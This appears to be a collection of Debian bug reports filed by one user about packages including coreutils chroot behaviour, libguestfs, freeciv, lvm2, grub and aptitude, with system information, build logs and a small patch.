Stopping dhcp-probe daemon on interface eth0: dhcp-probe.
Purging configuration files for dhcp-probe (1.3.0-10.1) ...
dhcp-probe purge done !
Processing triggers for man-db (2.7.0.2-5) ...
jessie:root ~ 8 # apt-get install dhcp-probe
Reading package lists... Done
Building dependency tree   
Reading state information... Done
The following package was automatically installed and is no longer required:
  linux-image-amd64
Use 'apt-get autoremove' to remove it.
The following NEW packages will be installed:
  dhcp-probe
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/64.0 kB of archives.
After this operation, 112 kB of additional disk space will be used.
Selecting previously unselected package dhcp-probe.
(Reading database ... 22138 files and directories currently installed.)
Preparing to unpack .../dhcp-probe_1.3.0-10.1_i386.deb ...
Unpacking dhcp-probe (1.3.0-10.1) ...
Processing triggers for man-db (2.7.0.2-5) ...
Setting up dhcp-probe (1.3.0-10.1) ...

Bug#776290: cman shoud (probably) depend on telnet-client instead of on telnet

[Rogier]

Source: cman
Version: 3.1.8-1.2+b1
Severity: normal

Dear Maintainer,

Cman currently depends on telnet. As I suppose it just needs any
telnet client, and not particularly the one from the telnet
package, it should depend on telnet-client instead.

If it does need the telnet package in particular, then I'd appreciate
it it could be changed so that it works with other telnet
implementations as well; at this moment, I have telnet-ssl installed,
and I prefer to keep it that way, but gfs2-utils, through its
dependency on cman, wants to force me to switch to telnet instead...

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#775874: debian-installer: Name of encrypted volume is confusing and may lead to inadvertent data-loss

[Rogier]

Package: debian-installer
Severity: normal

Dear Maintainer,

Currently, when configuring an encrypted volume, the debian installer
names it after the disk and partition it happens to be on at the time
of installation e.g. sda3_crypt.

If the disk and/or partition names change at a later time, this
name becomes confusing, and may even lead to data loss when a user
mistakenly infers that the encrypted volume is located on the
partition that its name seems to imply.

As the encrypted volume's name is assigned based on its contents
and not on its location, the name should be generic, and not
depend on the disk name.

Please consider fixing this.

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#775761: libguestfs incorrectly detects host CPU architecture

[Rogier]

Source: libguestfs
Version: 1:1.26.9-1
Severity: important

Dear Maintainer,

When trying to use virt-sparsify, I got the failure message:
libguestfs error: guestfs_launch failed
Running libguestfs-test-tool shows that libguestfs incorrectly detects
the CPU type / architecture. It mentions:
This kernel requires an x86-64 CPU, but only detected an i686 CPU.
Unable to boot - please use a kernel appropriate for your CPU.
See below for the full libguestfs-test-tool output.

Both my CPU and my kernel are 64-bit (see below). Virtualisation is also
enabled and works fine - I frequently run both 32-bit and 64-bit virtual
machines (using: 'qemu-system-x86_64 -enable-kvm')

Both qemu-system-i386 and qemu-system-x86_64 are installed on my
system.

Kind regards,

Rogier.

(As an aside, on my system, libguestfs-test-tool does not seem to
 terminate. After printing the messages below, it just hangs.
 Similarly, virt-ls also seems to hang indefinitely, without
 producing any output.)


libguestfs-test-tool output:
--
debian:root ~ 1 # uname -a
Linux debian 3.16-2-amd64 #1 SMP Debian 3.16.3-2 (2014-09-20) x86_64 GNU/Linux
debian:root ~ 2 # which qemu-system-x86_64 
/usr/bin/qemu-system-x86_64
debian:root ~ 3 # libguestfs-test-tool
 
 *IMPORTANT NOTICE
 *
 * When reporting bugs, include the COMPLETE, UNEDITED
 * output below in your bug report.
 *
 
PATH=/root/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SELinux: sh: 1: getenforce: not found
guestfs_get_append: (null)
guestfs_get_autosync: 1
guestfs_get_backend: direct
guestfs_get_backend_settings: []
guestfs_get_cachedir: /var/tmp
guestfs_get_direct: 0
guestfs_get_hv: /usr/bin/qemu-system-i386
guestfs_get_memsize: 500
guestfs_get_network: 0
guestfs_get_path: /usr/lib/i386-linux-gnu/guestfs
guestfs_get_pgroup: 0
guestfs_get_program: libguestfs-test-tool
guestfs_get_recovery_proc: 1
guestfs_get_selinux: 0
guestfs_get_smp: 1
guestfs_get_tmpdir: /tmp
guestfs_get_trace: 0
guestfs_get_verbose: 1
host_cpu: i586
Launching appliance, timeout set to 600 seconds.
libguestfs: launch: program=libguestfs-test-tool
libguestfs: launch: version=1.26.9
libguestfs: launch: backend registered: unix
libguestfs: launch: backend registered: uml
libguestfs: launch: backend registered: libvirt
libguestfs: launch: backend registered: direct
libguestfs: launch: backend=direct  


libguestfs: launch: tmpdir=/tmp/libguestfsOEAmDG


libguestfs: launch: umask=0022  


libguestfs: launch: euid=0  


libguestfs: [0ms] begin building supermin appliance 


libguestfs: [0ms] run supermin  


libguestfs: command: run: /usr/bin/supermin 


libguestfs: command: run: \ --build 


libguestfs: command: run: \ --verbose   


libguestfs: command: run: \ --if-newer  


libguestfs: command: run: \ --lock /var/tmp/.guestfs-0/lock 


libguestfs: command: run: \ --copy-kernel   


libguestfs: command: run: \ -f ext2
libguestfs: command: run: \ --host-cpu i586
libguestfs: command: run: \ /usr/lib/i386-linux-gnu/guestfs/supermin.d
libguestfs: command: run: \ -o /var/tmp/.guestfs-0/appliance.d
supermi

Bug#755981: evolution-data-server: this seems to have to do with ipv6 DNS issues

[Rogier Delporte]

Saw Itaï's post, disabling ipv6 totally worked for me. Can other people
verify that the bug lies in the compatibility with IPv6?

On Sat, Oct 18, 2014 at 3:09 PM, Itaï BEN YAACOV  wrote:

> Package: evolution-data-server
> Version: 3.12.7.1-1
> Followup-For: Bug #755981
>
> Dear Maintainer,
>
> I am experienceing the same issue, but oddly enough, it happens on one of
> my computers
> but not on another although I thought they are configured very similarly.
> Not sure why.
>
> However:
> 1.  When this happens, almost all the network activity consists of
> bombarding the
> DNS server with requests (checked with iftop -P)
> 2.  Disabling ipv6 (or even just the global ipv6 address) makes the
> problem disappear.
>
>
> Hope this helps.
>
> Cheers,
> Itai.
>
>
> -- System Information:
> Debian Release: jessie/sid
>   APT prefers unstable
>   APT policy: (600, 'unstable')
> Architecture: amd64 (x86_64)
>
> Kernel: Linux 3.16-3-amd64 (SMP w/4 CPU cores)
> Locale: LANG=fr_FR.UTF-8, LC_CTYPE=fr_FR.UTF-8 (charmap=UTF-8)
> Shell: /bin/sh linked to /bin/dash
>
> Versions of packages evolution-data-server depends on:
> ii  evolution-data-server-common  3.12.7.1-1
> ii  libc6 2.19-11
> ii  libcamel-1.2-49   3.12.7.1-1
> ii  libdb5.3  5.3.28-6
> ii  libebackend-1.2-7 3.12.7.1-1
> ii  libebook-1.2-14   3.12.7.1-1
> ii  libebook-contacts-1.2-0   3.12.7.1-1
> ii  libecal-1.2-163.12.7.1-1
> ii  libedata-book-1.2-20  3.12.7.1-1
> ii  libedata-cal-1.2-23   3.12.7.1-1
> ii  libedataserver-1.2-18 3.12.7.1-1
> ii  libgcr-base-3-1   3.14.0-2
> ii  libgcr-ui-3-1 3.14.0-2
> ii  libgdata190.16.0-1
> ii  libglib2.0-0  2.42.0-2
> ii  libgoa-1.0-0b 3.14.0-1
> ii  libgtk-3-03.14.3-1
> ii  libgweather-3-6   3.14.1-1
> ii  libical1  1.0-1
> ii  libldap-2.4-2 2.4.39-1.1+b1
> ii  libpango-1.0-01.36.8-2
> ii  libsecret-1-0 0.18-1+b1
> ii  libsoup2.4-1  2.48.0-1
> ii  libxml2   2.9.1+dfsg1-4
>
> evolution-data-server recommends no packages.
>
> Versions of packages evolution-data-server suggests:
> ii  evolution  3.12.7-1
> pn  evolution-data-server-dbg  
>
> -- debconf-show failed
>
> --
> To unsubscribe, send mail to 755981-unsubscr...@bugs.debian.org.
>

Bug#765514: coreutils: regression in chroot semantics

[Rogier]

Package: coreutils
Version: 8.23-2
Severity: normal

Dear Maintainer,

Some time ago, the chroot command was optimized to avoid the
chroot() call if it would be idempotent:

http://git.savannah.gnu.org/gitweb/?p=coreutils.git;a=commit;h=99960eeab9bf7fb479ab9f5342fc12a1fae629e6
http://git.savannah.gnu.org/gitweb/?p=coreutils.git;a=commit;h=0c4729516baa2fbefb0af66c38f434b1f7519078

While this seems sensible, the current code is too eager, and
does not take the mount point of the filesystems into account.
This means that currently, chroot can fail to chroot() in cases
where it should.

In my case, I have '/' bind-mounted elsewhere, with a slightly
different set of mounts beneath. While one would expect to
be able to chroot into such a tree, the current chroot command
fails to do so, as the current root and the new root have the
same inode number.

I have submitted a coreutils bug report:

http://debbugs.gnu.org/cgi/bugreport.cgi?bug=18736

Note that besides this bug, only when skipping the chroot() call, the 
current debian version of coreutils (8.23-2) also does not call 
chdir("/"), which may violate the assumption in scripts that the 
working directory is the root directory after invoking 'chroot /'.

E.g.:
Previously:
# pwd
/some/path/on/the/system
# chroot /
# pwd
/
Current version:
# pwd
/some/path/on/the/system
# chroot /
# pwd
/some/path/on/the/system

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages coreutils depends on:
ii  libacl1  2.2.52-2
ii  libattr1 1:2.4.47-2
ii  libc62.19-11
ii  libselinux1  2.3-2

coreutils recommends no packages.

coreutils suggests no packages.

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#764706: freeciv-client-gtk: Please fix empty governments menu bug (bug #22599, svn patch 26427)

[Rogier]

Package: freeciv-client-gtk
Version: 2.4.3
Severity: normal
Tags: patch

Dear Maintainer,

The freeciv gtk clients have a bug which can cause the governments
menu to be empty, effectively disabling choosing new governments.

See http://gna.org/bugs/?22599

This bug was patched in freeciv svn (15 sept 2014):

http://svn.gna.org/viewcvs/freeciv?view=revision&revision=26427

Please consider including this patch in the current debian version.
I have attached a debian patch (quilt) file. You'll probably
want to edit the details, but AFAICT it is OK (i.e. for me,
it applies and compiles using dpkg-buildpackage)

Kind regards,

Rogier.

--
Description: Fix empty government list in menu (backport of svn 26427)
 Ensure the menus are really created before performing any operations on them.
 It was sometimes resulting an empty available governement list in the menus.
 .
 Reported by uwehgeissler _AT_ gmx.de and Christian Knoke 
 .
 See gna bug #18764 & bug #22599

Origin: upstream http://svn.gna.org/viewcvs/freeciv?view=revision&revision=26427
Bug: http://gna.org/bugs/?22599
Forwarded: not-needed

Index: freeciv-2.4.3/client/gui-gtk-2.0/gui_main.c
===
--- freeciv-2.4.3.orig/client/gui-gtk-2.0/gui_main.c
+++ freeciv-2.4.3/client/gui-gtk-2.0/gui_main.c
@@ -944,6 +944,11 @@ void enable_menus(bool enable)
 {
   if (enable) {
 main_menubar = setup_menus(toplevel);
+/* Ensure the menus are really created before performing any operations
+ * on them. */
+while (gtk_events_pending()) {
+  gtk_main_iteration();
+}
 gtk_box_pack_start(GTK_BOX(top_vbox), main_menubar, FALSE, FALSE, 0);
 menus_init();
 gtk_widget_show_all(main_menubar);
Index: freeciv-2.4.3/client/gui-gtk-3.0/gui_main.c
===
--- freeciv-2.4.3.orig/client/gui-gtk-3.0/gui_main.c
+++ freeciv-2.4.3/client/gui-gtk-3.0/gui_main.c
@@ -941,6 +941,11 @@ void enable_menus(bool enable)
 {
   if (enable) {
 main_menubar = setup_menus(toplevel);
+/* Ensure the menus are really created before performing any operations
+ * on them. */
+while (gtk_events_pending()) {
+  gtk_main_iteration();
+}
 gtk_grid_attach_next_to(GTK_GRID(top_vbox), main_menubar, NULL, 
GTK_POS_TOP, 1, 1);
 menus_init();
 gtk_widget_show_all(main_menubar);
--


-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages freeciv-client-gtk depends on:
ii  freeciv-data 2.4.3-1
ii  libbz2-1.0   1.0.6-7
ii  libc62.19-11
ii  libcairo21.12.16-5
ii  libgdk-pixbuf2.0-0   2.30.8-1+b1
ii  libglib2.0-0 2.42.0-2
ii  libgtk-3-0   3.14.1-1
ii  libgtk2.0-0  2.24.24-1
ii  liblua5.1-0  5.1.5-7
ii  liblzma5 5.1.1alpha+20120614-2
ii  libpango-1.0-0   1.36.8-2
ii  libpangocairo-1.0-0  1.36.8-2
ii  libsdl-mixer1.2  1.2.12-11+b1
ii  libsdl1.2debian  1.2.15-10
ii  zlib1g   1:1.2.8.dfsg-2

Versions of packages freeciv-client-gtk recommends:
ii  freeciv-server   2.4.3-1
ii  gtk2-engines-pixbuf  2.24.24-1

Versions of packages freeciv-client-gtk suggests:
pn  freeciv-client-extras  
pn  freeciv-sound  

-- no debconf information


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#639773: file descriptor leaked messages by LVM

[Rogier]

Package: lvm2
Version: 2.02.109-1
Followup-For: Bug #639773

Dear Maintainer,

Today, after some time of not seeing this message, when invoking
update-grub I was bothered once again by no less than 135 instances
of this particularly obnoxious message, complaining about a perfectly valid
condition that may occur as part of regular unix and shell programming
practise, and that is impossible to avoid in general except by writing an
lvm wrapper that preemptively closes all 'other' file descriptors.

I did some research, and it appears that the lvm authors have a wish
to bother their end-users with this warning as it *might* be a symptom
of a *possible* bug in *another* program, or a *possible* security issue
in *another* program, which they feel responsible to inform (bother) all
of their users about, who often can't do anything about it anyway.

Their actual justification seems to be: 'once, we were unjustly and
unfairly accused of having a bug in lvm, so we added this message to
prove our innocence, and therefore we want to leave it in'.
(see https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466138#15)

I also found out that this particular bug is being reported and complained
about consistently and repeatedly. For debian, I have found the following
duplicates of this bug (dated 2010, 2008, 2007):
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=581339
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=466138
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=432986 (merged with 466138)
I also found:
https://bugs.launchpad.net/ubuntu/+source/lvm2/+bug/591823

Needless to say I was about to report another instance of this bug...

IMHO, there are several ways to 'solve' this issue outside of lvm:
- adapt the kernel to close all fds>2 on exec
  this would break one of the foundations of unix process semantics.
- adapt the shell(s) and all other programs that might invoke lvm to
  close all fds>2 upon exec (incuding any fds that might have been
  inherited from parent processes)
  This would certainly break a lot of software and shell scripts that
  depend on this feature.
- pollute the system's and everybody's enviroment namespace with the
  environment variable LVM_SUPPRESS_FD_WARNINGS.
- adapt the shell and other programs to specifically test for lvm, and
  close all fds>2 upon exec-ing it.
- Write a wrapper around lvm, that closes all fds>2 before exec-ing lvm,
  or that sets LVM_SUPPRESS_FD_WARNINGS.

Wrt the third option: having unnecessary environment variables is
not only undesirable, it's a maintenance headache, and security
sensitive applications normally do their best to precisely control the
state of the environment, and that does not include random undocumented
variables needed to prevent random software from emitting spurious
messages.

The last two solutions are in fact another way of stating 'lvm is
broken, but we don't get to fix it, so we implemented a workaround'

I don't know if I have ignored an important consideration so far, that
might shed a different light upon the case. If I haven't, and assuming the
upstream authors are unwilling to fix this, please consider at least
patching the debian version to remove the message and silence the bug
reports and the application itself.

If you intend not to fix this issue, please consider adding a message to
one or all of the bug reports stating so, so that users know they don't
need to bother inquiring or adding to the discussion.

Kind regards,

Rogier.



-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages lvm2 depends on:
ii  dmsetup   2:1.02.90-1
ii  init-system-helpers   1.21
ii  initscripts   2.88dsf-53.4
ii  libc6 2.19-10
ii  libdevmapper-event1.02.1  2:1.02.90-1
ii  libdevmapper1.02.12:1.02.90-1
ii  libreadline5  5.2+dfsg-2
ii  libudev1  204-8
ii  lsb-base  4.1+Debian13

lvm2 recommends no packages.

Versions of packages lvm2 suggests:
pn  thin-provisioning-tools  

-- Configuration Files:
/etc/lvm/lvm.conf changed:
config {
# If enabled, any LVM2 configuration mismatch is reported.
# This implies checking that the configuration key is understood
# by LVM2 and that the value of the key is of a proper type.
# If disabled, any configuration mismatch is ignored and default
# value is used instead without any warning (a message about the
# configuration key not being found is issued in verbose mode only).
checks = 1
# If enabled, any configuration mismatch aborts the LVM2 process.
abort_on_errors = 0
# Directory where LVM looks for configuration profiles.

Bug#764593: grub-pc: Request for more OS details, like hostname, in the grub menu entries

[Rogier]

Package: grub-pc
Version: 2.00-22
Severity: wishlist

Dear Maintainer,

On my system, I have configured a number of different OS instances for
testing purposes. Some of these run other distributions, most are debian.

I either run them as a virtual machine, or sometimes select the desired
one when booting.
Although grub lets me select which instance I wish to boot, it
presents a useless, cryptic menu containing mostly identical entries. E.g.;

Debian GNU/Linux
Advanced options for Debian GNU/Linux
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Fedora release 20 (Heisenbug)
Advanced options for Fedora release 20 (Heisenbug)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Debian GNU/Linux (jessie/sid)
Advanced options for Debian GNU/Linux (jessie/sid)
Ubuntu 14.04 LTS (14.04)
Advanced options for Ubuntu 14.04 LTS (14.04)

Obviously, this is not very useful.

Would it be possible to have update-grub include the hostname and the
name of the device where the system resides in every menu entry ?
If at the same time, the 'advanced' entries could also be indented, the
entire menu would become much more efficient to use. For instance:

(my hostnames mostly match the LVM logical volume names)

rogier-pc   Debian GNU/Linux on /dev/vg00/rogier
Advanced options
build1  Debian GNU/Linux (jessie/sid) on 
/dev/vg00/build1
Advanced options
build2  Debian GNU/Linux (jessie/sid) on 
/dev/vg00/build2
Advanced options
fedora20Fedora release 20 (Heisenbug) on 
/dev/vg00/fedora20
Advanced options
jessie32Debian GNU/Linux (jessie/sid) on 
/dev/vg00/jessie32
Advanced options
jessie64Debian GNU/Linux (jessie/sid) on 
/dev/vg00/jessie64
Advanced options
test1   Debian GNU/Linux (jessie/sid) on /dev/vg00/test1
Advanced options
test2   Debian GNU/Linux (jessie/sid) on /dev/vg00/test2
Advanced options
test3   Debian GNU/Linux (jessie/sid) on /dev/vg00/test3
Advanced options
ubuntu1404  Ubuntu1404 LTS (14.04) on /dev/vg00/ubuntu1404
Advanced options

Obviously, the hostname is most convenient for users, but not necessarily
unique; The device name would serve to disambiguate.

In case it's of any use, I have written a patch for os-prober which makes it add
the hostname of the system (if detectable) to its output. I have implemented 
this
for most system types, although I haven't been able to test all of them, as I
don't have the necessary system instances.

Kind regards,

Rogier.


-- Package-specific info:

*** BEGIN /proc/mounts
/dev/sda / ext4 rw,relatime,errors=remount-ro,data=ordered 0 0
*** END /proc/mounts

*** BEGIN /boot/grub/device.map
(hd0)   /dev/disk/by-id/ata-QEMU_HARDDISK_QM1
(hd1)   /dev/disk/by-id/ata-QEMU_HARDDISK_QM2
*** END /boot/grub/device.map

*** BEGIN /boot/grub/grub.cfg
#
# DO NOT EDIT THIS FILE
#
# It is automatically generated by grub-mkconfig using templates
# from /etc/grub.d and settings from /etc/default/grub
#

### BEGIN /etc/grub.d/00_header ###
if [ -s $prefix/grubenv ]; then
  set have_grubenv=true
  load_env
fi
set default="0"

if [ x"${feature_menuentry_id}" = xy ]; then
  menuentry_id_option="--id"
else
  menuentry_id_option=""
fi

export menuentry_id_option

if [ "${prev_saved_entry}" ]; then
  set saved_entry="${prev_saved_entry}"
  save_env saved_entry
  set prev_saved_entry=
  save_env prev_saved_entry
  set boot_once=true
fi

function savedefault {
  if [ -z "${boot_once}" ]; then
saved_entry="${chosen}"
save_env saved_entry
  fi
}
function load_video {
  if [ x$feature_all_video_module = xy ]; then
insmod all_video
  else
insmod efi_gop
insmod efi_uga
insmod ieee1275_fb
insmod vbe
insmod vga
insmod video_bochs
insmod video_cirrus
  fi
}

if [ x$feature_default_fo

Bug#764114: freeciv: Error during build

[Rogier]

> >> The freeciv-qt binary is not built on my system.
> > 
> > One difference would be, that the clean cowbuilder chroot will not
> > have any qt development files installed, as they are not
> > essential for building anything at all, nor a build-dependency of
> > freeciv, so there will be no way the freeciv-qt binary *can* be
> > built, even if there were a strong urge to build it if
> > possible...
> 
> That's an important piece of information here. So you are not
> building in a clean chroot environment.

Indeed.
I am not.

> > Apparently, the configure step does not fail if the qt client is
> > requested, and the qt headers etc. were not found...
> 
> It is true that we pass --enable-client=all to the build system but
> since we are not build-depending on any qt-libs which are necessary
> to build freeciv-qt the build will not fail on the buildd server. I
> see that this can lead to some confusion when people are not
> building in a clean environment. I will instead pass
> 
> --enable-client=gtk2,gtk3,sdl,xaw,stub
> 
> to the configure step explicitly. I hope that helps.

I assume it will.

Thanks very much.

Rogier.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#764114: freeciv: Error during build

[Rogier]

Hi Markus,

Thanks for your reaction.

>I have just rebuilt freeciv 2.4.3 in a clean cowbuilder chroot on
>amd64 and I have got no error message.

> Are you sure that you didn't change anything else in debian/rules or
> elsewhere?

To be asolutely sure, I have just rebuilt freeciv, using freshly 
downloaded source packages, in a fresh directory, and I got the same 
results. If you are interested, I can send you the full build log, or 
just the output of configure if that's sufficient.

> The freeciv-qt binary is not built on my system.

One difference would be, that the clean cowbuilder chroot will not have 
any qt development files installed, as they are not essential for 
building anything at all, nor a build-dependency of freeciv, so there 
will be no way the freeciv-qt binary *can* be built, even if there 
were a strong urge to build it if possible...

It seems that currently, all clients are being requested:
---
dh_auto_configure -- \
--cache-file=/tmp/freeciv/freeciv-2.4.3/config.cache \
--sysconfdir=/etc \
--prefix=/usr \
--datadir=\${prefix}/share/games \
--bindir=\${prefix}/games \
--enable-debug=no \
--enable-client=all \   <
--with-ggz-server=no \
--with-ggz-client=no \
--enable-ipv6=yes \
--enable-sys-lua \
--disable-silent-rules
---
Which presumably includes (would include) the qt client.

Apparently, the configure step does not fail if the qt client is 
requested, and the qt headers etc. were not found...

Kind regards,

Rogier.


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#764116: Rebuild from source fails due to modified file

[Rogier]

Source: freeciv
Version: 2.4.3
Severity: normal

Dear Maintainer,

After building (or trying to - see bug #764114) freeciv from source,
and attempting to build again, the re-build fails with the following
messages:

---
dpkg-source: info: local changes detected, the modified files are:
 freeciv-2.4.3/bootstrap/mkinstalldirs
dpkg-source: error: aborting due to unexpected upstream changes, see 
/tmp/freeciv_2.4.3-1.diff.WVHr__
dpkg-source: info: you can integrate the local changes with dpkg-source --commit
dpkg-buildpackage: error: dpkg-source -b freeciv-2.4.3 gave error exit status 2
---

If you need more information, please let me know.

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash


-- 
To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmas...@lists.debian.org

Bug#764114: freeciv: Error during build

[Rogier]

Source: freeciv
Version: 2.4.3
Severity: serious
Justification: fails to build from source (but built successfully in the past)

Dear Maintainer,

When trying to build freeciv, the process fails, printing the following message:

---
# Continue install
dh_install --fail-missing
dh_install: usr/games/freeciv-qt exists in debian/tmp but is not installed to 
anywhere
dh_install: missing files, aborting
debian/rules:43: recipe for target 'override_dh_install' failed
make[1]: *** [override_dh_install] Error 2
make[1]: Leaving directory '/home/rogier/src/extern/freeciv/freeciv-2.4.3'
debian/rules:18: recipe for target 'binary' failed
make: *** [binary] Error 2
dpkg-buildpackage: error: fakeroot debian/rules binary gave error exit status 2
---

As a workaround, I removed --fail-missing, which allows the package build to 
complete.

Please let me know if you need more information (e.g. the full build log).

Kind regards,

Rogier.

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.16-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Bug#760610: aptitude: duplicate entries in (reverse) dependencies list

[Rogier]

Package: aptitude
Version: 0.6.11-1
Severity: minor

Dear Maintainer,

For some packages, aptitude may list a (reverse) dependency multiple times
in the dependency list. This happens when two or more dependencies directly
or indirectly resolve to the same package.

Example:
About 700-800 (estimated) packages depend on debconf. Currently, the majority
use the following dependency declaration:
Depends: [...] debconf (>= 0.5) | debconf-2.0 [...]
As the package 'debconf' actually provides 'debconf-2.0' as well, aptitude ends
up including debconf twice in the list of dependencies.

For the reverse dependencies, the same holds: For instance, the reverse 
dependency
list of debconf includes almost all packages twice, and some three times 
because of
this. This results in a list of about 1600 reverse dependencies for debconf.

Packages that end up being listed three times in debconf's reverse dependency 
list,
seem to have the following dependency declaration:
Depends: [...] debconf, [...] debconf (>= 0.5) | debconf-2.0 [...]
(based on a sample of a few packages that I checked)

It would be nice if, where possible, identical packages were not listed multiple
times in (reverse) dependency lists.

Kind regards,

Rogier.

-- Package-specific info:
Terminal: xterm
$DISPLAY is set.
which aptitude: /usr/bin/aptitude

aptitude version information:
aptitude 0.6.11 compiled at Jun  9 2014 21:54:38
Compiler: g++ 4.8.3
Compiled against:
  apt version 4.12.0
  NCurses version 5.9
  libsigc++ version: 2.2.11
  Gtk+ support disabled.
  Qt support disabled.

Current library versions:
  NCurses version: ncurses 5.9.20140712
  cwidget version: 0.5.17
  Apt version: 4.12.0

aptitude linkage:
linux-gate.so.1 (0xf76f7000)
libapt-pkg.so.4.12 => /usr/lib/i386-linux-gnu/libapt-pkg.so.4.12 
(0xf7167000)
libncursesw.so.5 => /lib/i386-linux-gnu/libncursesw.so.5 (0xf712c000)
libtinfo.so.5 => /lib/i386-linux-gnu/libtinfo.so.5 (0xf7108000)
libsigc-2.0.so.0 => /usr/lib/i386-linux-gnu/libsigc-2.0.so.0 
(0xf7102000)
libcwidget.so.3 => /usr/lib/i386-linux-gnu/libcwidget.so.3 (0xf6ffe000)
libsqlite3.so.0 => /usr/lib/i386-linux-gnu/libsqlite3.so.0 (0xf6f28000)
libboost_iostreams.so.1.55.0 => 
/usr/lib/i386-linux-gnu/libboost_iostreams.so.1.55.0 (0xf6f11000)
libxapian.so.22 => /usr/lib/sse2/libxapian.so.22 (0xf6d11000)
libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 
(0xf6cf5000)
libstdc++.so.6 => /usr/lib/i386-linux-gnu/libstdc++.so.6 (0xf6c03000)
libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xf6bbd000)
libgcc_s.so.1 => /lib/i386-linux-gnu/libgcc_s.so.1 (0xf6ba)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf69f4000)
libutil.so.1 => /lib/i386-linux-gnu/i686/cmov/libutil.so.1 (0xf69f)
libdl.so.2 => /lib/i386-linux-gnu/i686/cmov/libdl.so.2 (0xf69eb000)
libz.so.1 => /lib/i386-linux-gnu/libz.so.1 (0xf69d2000)
libbz2.so.1.0 => /lib/i386-linux-gnu/libbz2.so.1.0 (0xf69c)
liblzma.so.5 => /lib/i386-linux-gnu/liblzma.so.5 (0xf6998000)
librt.so.1 => /lib/i386-linux-gnu/i686/cmov/librt.so.1 (0xf698f000)
libuuid.so.1 => /lib/i386-linux-gnu/libuuid.so.1 (0xf6989000)
/lib/ld-linux.so.2 (0xf76f8000)

-- System Information:
Debian Release: jessie/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: i386 (x86_64)

Kernel: Linux 3.14-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash

Versions of packages aptitude depends on:
ii  aptitude-common   0.6.11-1
ii  libapt-pkg4.121.0.7
ii  libboost-iostreams1.55.0  1.55.0+dfsg-2
ii  libc6 2.19-10
